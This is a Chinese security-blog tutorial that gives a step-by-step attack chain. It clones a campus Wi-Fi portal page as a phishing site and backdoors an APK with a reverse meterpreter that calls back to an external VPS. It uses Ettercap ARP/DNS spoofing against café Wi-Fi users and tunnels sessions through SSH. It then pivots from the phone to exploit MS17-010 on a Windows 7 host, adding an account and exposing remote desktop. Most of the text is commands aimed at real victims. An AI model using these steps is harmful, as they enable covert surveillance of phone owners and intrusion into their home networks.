* 本文作者:求一份网络安全实习,本文中提及的工具和技术方法仅供安全教学用途,禁止非法使用
以前经常看Freebuf,学到了不少东西,现在想给入门的同学提供一点微小的帮助。以前老是不知道如何在外网使用msf这个神器,自己查了查资料,总结了一点自己的认识。
0. 环境:
a) Kali 2.0 (咖啡厅:192.168.0.2/校园网:172.16.X.X)
i. Metasploit-Framework
ii. Ettercap(DNS欺骗)
iii. Backdoor-apk(apk后门)
iv. Python -m SimpleHTTPServer 80 (轻量级HTTP服务器)
v. SSH Tunnel (外网打洞)
b) Vultr vps 一台(Ubuntu 14.04)(公网IP:45.77.xx.xx)
echo GatewayPorts yes>>/etc/ssh/sshd_config
c) Android (魅蓝E2 Flyme by Yunos )( 咖啡厅:192.168.0.3/家庭局域网:192.168.0.3)
d) Win7 x64 sp1(ms17_010)(家庭局域网:192.168.0.5)
示意图:
1. 构造钓鱼页面
a) 首先我们在电脑上登录CMCC-EDU
b) 弹出一个页面
c) 该页面会提示下载一个 免费上网1.pak .我们正好用它来制作后门
d) 保存该页面到桌面, 将 免费上网.html 重命名为 index.html 并放到 免费上网_files 文件夹中,然后修改HTML:,
替换页面所有apk地址为免费上网.apk,并添加<iframe src=”免费上网.apk”>
e) python -m SimpleHTTPServer 80 #(在index.html所在文件夹直接启动HTTP服务)
2. 使用backdoor-apk制作apk后门
a) 现在我们
git clone https://github.com/dana-at-cp/backdoor-apk.git
b)
cd backdoor-apk-master/backdoor-apk
c) 将 免费上网1.apk 复制到此目录 并且重命名为 mfsw.apk
d)
./backdoor-apk.sh mfsw.apk
e) payload 选择 3
f) lhost 填写 vps 的IP地址 45.77.XX.XX
g) lport填写 99 (vultr 会封掉一部分端口,比如默认的4444)
h) 然后进入 original/dist 复制mfsw.apk 到 免费上网_files 那个包含我们钓鱼文件的文件夹,改名为 免费上网.apk
3. Ettercap 实现 DNS 欺骗
a) 查看ifconfig
b)
gedit /etc/ettercap/etter.dns
* A 192.168.0.2
* PTR 192.168.0.2
c) 开启ettercap-gui 选择wlan0
d) 扫描hosts
e) 选择欺骗 192.168.0.1 和 192.168.0.3 (Android)
f) 开启Arpspoof
g) 加载dns sproof 模块
h) 手机上如图:
i.
ii.
iii.
4. msf 通过SSHtunnel 接收 反弹meterpreter 会话
a) 下面我们切换kali连接到其他wifi,
ifconfig 查看一下当前kali ip
当前地址为 172.16.8.181 ,我们等下还是能接收到来自Android的会话
b)
vi sshTunnel
c)
#!/bin/bashif [ -n “$1” ]#判断参数$1是否为空then echo 0.0.0.0 $1”--<>--”45.77.xx.xx:$1ssh -C -g root@45.77.xx.xx -R $1:127.0.0.1:$1#这里是相同端口是因为,msf监听不到45.77.xx.xx:$1 会自动监听0.0.0.0:$1,刚好能正常接收会话elseecho 0.0.0.099”--<>--”45.77.xx.xx99
ssh -C -g root@45.77.xx.xx -R 99:127.0.0.1:99#默认监听99端口 fi
d) chmod +x sshTunnel
e) ./sshTunnel #默认99端口,运行sshtunnel 来实现 vps:99 到 127.0.0.1:99的转发
f) 其实这里已经有会话反弹过来了,只是本地msf监听没有开启
g) 现在我们开启msf监听
cd backdoor-apk/backdoor-apk/
msfconsole -r backdoor-apk. rc
h) 可以看到会话已经建立
i) session #查看
j) wakelock #保持唤醒防止掉线
k) session -i 1 #切换到meterpreter
l) 截个图录个音啥的都不是事,能中招的用户肯定会给权限的,毕竟不是所有人都是有安全意识
m) ifconfig#查看Android的网段
n) run autoroute -s 192.168.0.3 #添加自动路由background#返回msfconsole
o) 现在msf已经获得192.168.0.0/24网段的权限
但是我们还是有访问该网段的权限,扫描一手ms17_010
p) 既然是有ms17_010那就好办了(为了方便以后控制,加上bind_tcp正向连接成功率会低一点,所以使用reverse_tcp)
q) sshtunnel 打洞,45.77.xx.136:88->127.0.0.1:88
r) 可以看到,msf自动监听了0.0.0.0:88,这就是转发到相同端口的好处
s) 这里win7 x64会重启,然后获得会话,可以看到win7的会话也被vps转发回来了
t) seesion -i 2 #选择Windows的会话,并开启远程桌面
u) 输入shell,进行添加用户,这里也可以用 run getgui -e -u admin -p 123
v) 下面我们可以使用
protfwd add -l 1234 -r 192.168.0.5 -p 3389
将win7的远程桌面转发到本地1234端口
w) get it!
大三狗,会写Python,懂点Web安全,想去给网络安全公司的大佬端茶倒水(求一份网络安全实习,谢谢)
* 本文作者:求一份网络安全实习,本文属FreeBuf原创奖励计划,未经许可禁止转载